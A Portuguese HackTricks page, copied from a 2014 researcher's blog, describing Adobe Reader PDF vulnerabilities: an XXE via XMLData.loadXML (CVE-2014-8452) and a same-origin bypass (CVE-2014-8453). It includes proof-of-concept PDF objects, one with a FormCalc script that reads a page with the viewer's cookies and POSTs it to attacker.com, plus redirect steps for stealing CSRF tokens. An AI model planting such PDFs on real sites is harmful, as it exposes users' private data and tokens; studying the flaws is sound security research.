6.6 KiB
Upload de PDF - Bypass de XXE e CORS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Conteúdo copiado de https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
A função Javascript no Reader pode ser usada para ler dados de entidades externas (CVE-2014-8452)
Status: Corrigido
Realidade: Não corrigido
Este é sobre um simples XXE que descobri.
Li o artigo "Polyglots: Crossing Origins by Crossing Formats", onde discutiram uma vulnerabilidade em
XMLData.parse. Era possível usar entidades externas e referenciá-las.
Li a especificação e descobri que existem mais funções do que "parse" para ler XML.
Criei um arquivo xml simples, que referencia uma url do mesmo domínio e o analisei com loadXML.
Funcionou:
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj
O impacto é limitado porque
o) é limitado à mesma origem
o) as páginas HTML quebram o xml
o) Entidades dinâmicas não são suportadas
o) Eu tive a ideia de usar um xml utf-16 para evitar quebrar a estrutura xml, mas não funcionou.
Mas ainda pode ser usado para ler JSON.
Bypass da política de mesma origem no Reader (CVE-2014-8453)
Status: corrigido
Realidade: corrigido, mas a mesma origem ainda é vulnerável!
Na minha opinião, esta é a vulnerabilidade mais poderosa. Mesmo sem o Bypass de Origem, ela mostra
o quão poderoso/assustador o PDF pode ser.
Muitas pessoas sabem que o PDF suporta uma linguagem de script chamada Javascript, mas há outra.
É mencionado na especificação para XFA, um tipo de arquivo também suportado pelo leitor da Adobe.
Chama-se formcalc e não é tão poderoso. É usado para cálculos matemáticos simples. Mas na especificação da Adobe
há três funções adicionais: 'GET', 'POST' e 'PUT'. Sim, seus nomes falam por si mesmos.
'GET' tem um parâmetro: uma url. Ele usará o navegador (SIM, COOKIES) para recuperar a url e retornar o conteúdo dela.
Podemos então usar 'POST' para enviar o conteúdo retornado para nosso próprio servidor:
var content = GET("meusamigos.php");
Post("http://atacante.com",content);
Essas funções são da mesma origem, então um site precisa nos permitir fazer upload de um PDF. Isso não é tão irrealista para
a maioria dos sites. Atacante.com não é da mesma origem, então você precisa configurar um crossdomain.xml, como de costume com produtos da Adobe.
Para resumir: Isso não é um bug, é um recurso. Assim que você é permitido fazer upload de um PDF em um site,
você pode acessar o site no contexto do usuário que está visualizando o PDF. Como as solicitações são emitidas
pelo navegador, os cookies também são enviados. Você também pode usá-lo para quebrar qualquer proteção CSRF lendo os tokens.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by insertscript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
Depois de encontrar essas funções, encontrei uma forma de burlar a política de mesma origem. Isso torna possível usar o navegador da vítima como um proxy (@beef ainda está trabalhando no módulo^^).
A forma de burlar é realmente simples:
- O usuário A carrega o evil.pdf de http://attacker.com/evil.pdf
- O evil.pdf usa o formcalc GET para ler http://attacker.com/redirect.php
- redirect.php redireciona com 301 para http://facebook.com
- O Adobe reader seguirá e lerá a resposta sem procurar um crossdomain.xml.
- O evil.pdf envia o conteúdo recuperado via POST para http://attacker.com/log.php
Observe que, usando essa técnica, você pode roubar os tokens CRSF de uma página e abusar das vulnerabilidades CSRF.
Essa simples forma de burlar foi corrigida agora. Espero que eles implementem um aviso de diálogo para solicitações de mesma origem também.